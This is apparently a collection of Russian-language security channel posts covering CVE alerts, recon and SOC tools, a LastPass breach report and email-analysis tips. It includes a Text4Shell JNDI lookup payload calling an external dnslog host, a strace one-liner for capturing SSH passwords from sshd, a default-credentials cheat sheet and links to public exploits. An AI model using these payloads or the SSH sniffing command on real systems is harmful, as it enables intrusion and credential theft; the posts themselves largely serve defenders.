Срочно обновлять офис…

Microsoft Word Remote Code Execution Vulnerability CVE-2022-41031 (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41031) and Microsoft Office Graphics Remote Code Execution Vulnerability CVE-2022-38049 (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-38049)

#MSOffice #RCE #CVE

#CVE-2022-42889 #Apache #RCE #4Shell

Обнаружена критическая уязвимость в программном обеспечении Apache (CVE-2022-42889) именуемая 4Shell
CVE-ID: CVE-2022-42889
CVSS Score: 9.8
Дата публикации сведений об уязвимости: 17.10.2022
Уязвимые программные продукты:
• JDK 1.8.0_341
• JDK version 9.0-16.0
Рекомендации по устранению уязвимости:
В кратчайшие сроки обновить версию уязвимой библиотеки до актуальной.

Дополнительные материалы:
https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/

---
Payload:
jxPathContext.getValue("javax.naming.InitialContext.doLookup(\"ldap://check.dnslog.cn/obj\")");

OpenSSL 3.0.7 is a security-fix release. The highest severity issue fixed in this release is CRITICAL (from 2016)

https://mta.openssl.org/pipermail/openssl-announce/2022-October/000238.html

Друзья, специально для вас, мы выложили запись докладов с большой сцены на наш YouTube-канал!

Вспомним еще раз, как это было!

DAY 1: GOVERNMENT AND BUSINESS DAY
https://youtu.be/Z5mVjVtRv5k

DAY 2: SECURE CODING/DEVELOPMENT DAY
https://youtu.be/xbbzEDE3mns

DAY 3: HACK DAY
https://youtu.be/XTBpW2kCjAM

Приятного просмотра!
Не забывайте подписываться на наш канал и ставить лайки🔥

ReNgine is a very complete recon tool that can be very helpful to centralize all your recon in one site.

Its main website defines it as: «The only web application recon tool you will ever need!«

Currently is capable of performing:
* Subdomain Discovery
* Vulnerability Detection
* IPs and Open Ports Identification
* Directory and files fuzzing
* Screenshot Gathering
* Endpoints Gathering
* OSINT

Отличная вещь, оч рекомендую

https://github.com/yogeshojha/rengine

https://cvetrends.com

Позволяет мониторить тенденций CVE в режиме реального времени. Агрегация информации: из Twitter, NIST NVD, Reddit и GitHub.

Рекомендую добавить во вкладку инструментария аналитика SOC либо выводит сразу на экран.

#Автоматизация рутинной работы

В дополнение к сервису выше,
Если Вам нужно переодически проверять наличие публично доступных POC для CVE и искать их руками по интернет-ресурсам это не по админски - просто добавьте симлинки на команды в ~/.bashrc или ~/.zshrc и затем обновите `source ~/.zshrc` :

//Эта выдаст всю информацию по конкретному CVE
Использовать как cve CVE-2022-42889

cve() {curl "https://poc-in-github.motikan2010.net/api/v1/?cve_id=$1" | jq '.pocs[]'}

//Эта выведет линки на гит репозитории с нужным CVE
cve_url CVE-2022-42889

cve_url() {curl "https://poc-in-github.motikan2010.net/api/v1/?cve_id=$1" | jq '.pocs[] | .html_url'}

Очень познавательное видео о том, как декриптить стандартную нагрузку Cobalt Strike beacon под powershell и доставать IP c2 сервера.

https://youtu.be/5GUx_6xWoeI

Вот такой же ролик, только для выдергивания IP из исполняемого файла с автоматизацией через CiberChef API + Postman (можно хоть Burp или python использовать)

https://www.youtube.com/watch?v=5Vz1CjzhvLg

Веселая история о зарождении форума Codeby.net и одноименной CTF команды на The Standoff Talks 2022 от нашего товарища Алексея Морозова

https://www.youtube.com/watch?v=cEyYsIFwJwI

https://youtu.be/KTB6qKbVdZE

Очень хороший доклад и для SOC и для Red Team

#news Будете смеяться, но LastPass опять подвергся взлому. В августе злоумышленники стянули их исходники и техдокументацию, а теперь получили доступ к стороннему облачному хранилищу, используя украденную ранее инфу. Ну а в хранилище, как водится, пользовательские данные.

Компания пока не спешит делиться подробностями, скрываясь за размытой формулировкой «‎определённые элементы пользовательской информации». Так что масштабы утечки станут ясны позднее. Как обычно, заверяют, что пароли в безопасности – у нас всё зашифровано и архитектура нулевого разглашения, все дела. Пароль-то, может, и последний, а вот взлом оказался совсем не последним.

@tomhunter

Вышел Sysmon 14.13 (закрыта #CVE-2022-41120 CVSS:3.1 7.8/6.8).
🔗 https://techcommunity.microsoft.com/t5/sysinternals-blog/active-directory-explorer-v1-52-contig-v1-82-and-sysmon-v14-13/ba-p/3685500

Поторопитесь ибо PoC так же вышел!
Here is #PoC for CVE-2022-41120 https://t.co/oXkBYi4bWk. I combined arb file delete and limited arb file write to get code execution as NT Authority\System.
🔗 https://github.com/Wh04m1001/SysmonEoP

Новость бударажущая ум и представление о безопасности Linux*
Так сказать мир был до этой новости и теперь…
—
Получаем пароль от SSH в открытом виде
1. получаем точный идентификатор sshd

pgrep -l sshd

2. Отслеживаем системные вызовы

strace -f -p <ssh_PID> -e trace=write -o capture

Ну или одной строкой

strace -f -p $(service sshd status |grep PID|awk "{print \$3}") -e trace=write -o capture

Для танкистов - смотрите вывод

cat capture

А еще более печально, есть тула
https://github.com/ncsa/ssh-auditor

#ssh #sniff #password

Удобный сборник дефолтных кред с поисковиком
https://github.com/ihebski/DefaultCreds-cheat-sheet

Istallation oneliner:

git clone https://github.com/ihebski/DefaultCreds-cheat-sheet.git; cd DefaultCreds-cheat-sheet; pip3 install .

Usage guide:

#update DB
creds update

#Search by vendor
creds search tomcat

#Export by vendor
creds search tomcat export

Вытащить вложение из письма. 📧
Тут нам поможет утилла maildir-utils
sudo apt install maildir-utils
В ней зашито пару прикольных скриптов которые облегчают жизнь при анализе э-майлов.
add - add message to database
cfind - find a contact
extract - extract parts/attachments from messages
fields - show table of all query fields and flags
find - query the message database
help - get help
index - index messages
init - init the mu database
mkdir - create a maildir
remove - remove a message from the database
script - run a script (available only when mu was built with guile-support)
server - start mu server
verify - verify signatures of a message
view - view a specific message

нам понадобится extract
mu extract /home/mlnk/susps/susp-mail.eml --save-all
(имеется небольшой баг, поэтому путь к файлу должен быть абсолютным)
Теперь все части нашего письма сохранины в отдельные файлы и мы можем продолжить анализ вложений.

Всем 🦫, а 🌎 Миру — мир!

#mail #analysis

Наглядный пример, что никогда не стоит открывать на весь мир админку управления хоть NGFW, хоть WAF, хоть что либо ещё... И естественно нужно вовремя ставить патчи и обновления.

💥 Fortinet FortiNAC Unauthenticated RCE

On Thursday, 16 February 2022, Fortinet released a PSIRT that details CVE-2022-39952, a critical vulnerability affecting its FortiNAC product. This vulnerability, discovered by Gwendal Guégniaud of Fortinet, allows an unauthenticated attacker to write arbitrary files on the system and as a result obtain remote code execution in the context of the root user.

PoC:
https://github.com/horizon3ai/CVE-2022-39952

Research:
https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/

#fortinet #fortinac #rce #cve